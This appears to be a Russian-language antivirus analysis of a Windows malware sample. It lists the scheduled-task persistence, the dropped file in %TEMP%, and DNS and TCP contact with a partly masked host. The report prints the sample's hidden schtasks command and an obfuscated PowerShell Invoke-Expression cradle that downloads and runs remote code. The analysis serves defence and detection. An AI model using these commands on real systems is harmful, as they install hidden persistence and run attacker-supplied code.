Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\update
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\x.exe
Сетевая активность
TCP
- 'dj##m.com':443
UDP
- DNS ASK dj##m.com
Другое
Создает и запускает на исполнение
- '%TEMP%\x.exe'
- '%WINDIR%\syswow64\schtasks.exe' /create /sc minute /mo 1 /tn "Update" /tr "%TEMP%\x.exe"' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://www.dj##m.com/Upload.jpg')' (со скрытым окном)
- '%TEMP%\x.exe' ' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\syswow64\schtasks.exe' /create /sc minute /mo 1 /tn "Update" /tr "%TEMP%\x.exe"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://www.dj##m.com/Upload.jpg')
- '<SYSTEM32>\taskeng.exe' {C722865A-0F20-4366-A8A5-4AD63882EB71} S-1-5-21-1960123792-2022915161-3775307078-1001:wivlzi\user:Interactive:[1]
